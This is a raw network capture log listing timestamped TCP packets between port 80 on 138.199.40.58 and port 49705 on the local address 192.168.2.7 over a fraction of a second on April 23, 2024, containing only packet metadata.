Apr 23, 2024 08:39:59.193635941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193660021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193705082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193717003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193717003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193730116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193753004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193774939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193841934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193855047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193873882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193881035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193892956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193905115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193905115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193927050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.195550919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195616961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.195631981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195656061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195729017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195740938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195755959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.195787907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195811033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.195817947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195854902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195878983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.195976973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.195988894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196000099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196011066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196028948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196043968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196073055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196073055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196135998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196249008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196484089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196508884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196516037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196552038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196603060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196717978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196729898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196863890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196877956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.196918964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196918964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.196986914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197062016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197086096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197117090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197190046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197205067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197257042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197319984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197324038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197384119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197429895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197453976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197597980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197611094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197659969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197662115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197705030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197729111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197747946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197837114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197844028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197897911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197938919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.197962046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.197993040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198057890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198060036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198101997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198113918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198124886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198137045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198152065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198152065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198194027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198205948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198216915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198239088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198281050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198402882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198451996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198517084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198540926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.198703051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198738098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.198762894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.199012041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199074984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.199140072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199220896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199232101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199292898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199316978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.199333906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.199465036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199493885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199625969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.199765921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199836969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199848890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.199934006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200033903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200129986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200278044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200360060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200448990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200450897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200475931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200515985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200544119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200546026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200587034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200606108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200609922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200676918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200689077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200721979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200733900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200743914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200771093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200774908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200814962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200860023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200870991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200882912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200895071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200906992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200917959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.200917959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200951099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.200974941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201005936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201019049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201028109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201030970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201055050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201066971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201077938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201096058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201096058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201138973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201150894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201159954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201179981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201210976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201221943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201234102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201244116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201256037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201288939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201299906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201345921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201358080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201373100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201384068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201385021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201409101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201414108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201456070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201478958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201498985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201545000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201555967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201597929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201616049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201616049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201631069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201689959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201700926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201713085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201714993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201724052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201735973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201759100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201780081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201802015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201827049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201879978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201891899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201904058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201915026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201941967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201945066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201968908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.201975107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.201998949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202020884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202044010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202056885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202080011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202090979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202105045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202105045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202125072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202147961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202153921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202171087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202183008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202194929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202204943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202228069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202250004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202313900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202317953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202326059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202337980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202349901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202379942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202388048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202394009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202404022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202451944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202464104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202476978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202539921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202550888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202563047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202564001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202599049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202641964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202644110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202650070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202656984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202680111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202702999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202704906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202742100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202765942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202766895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202836037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202848911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202858925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202860117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202872038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202883959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202893972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202918053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202919006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202931881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202943087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202943087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.202955008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.202979088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203003883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203038931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203039885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203053951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203077078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203109980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203123093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203134060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203156948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203169107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203181028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203181028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203187943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203200102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203212023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203232050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203243971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203252077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203291893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203345060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203357935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203399897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203422070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203433037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203464985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203473091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203476906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203489065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203500986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203525066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203545094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203568935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203623056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203634977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203648090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203660011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203670979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203680992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203742027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203753948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203766108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203767061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203777075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203799963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203814983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203838110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203840017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203850985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203912020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203913927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203926086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203937054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203948975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203959942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.203959942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203984022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.203994036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204005957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204019070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204080105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204092979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204111099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204113007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204134941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204154968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204168081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204179049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204190969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204191923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204227924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204236031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204282999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204333067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204344988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204355955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204356909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204380035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204412937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204428911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204447985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204458952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204510927 CEST	80	49705	138.199.40.58	192.168.2.7
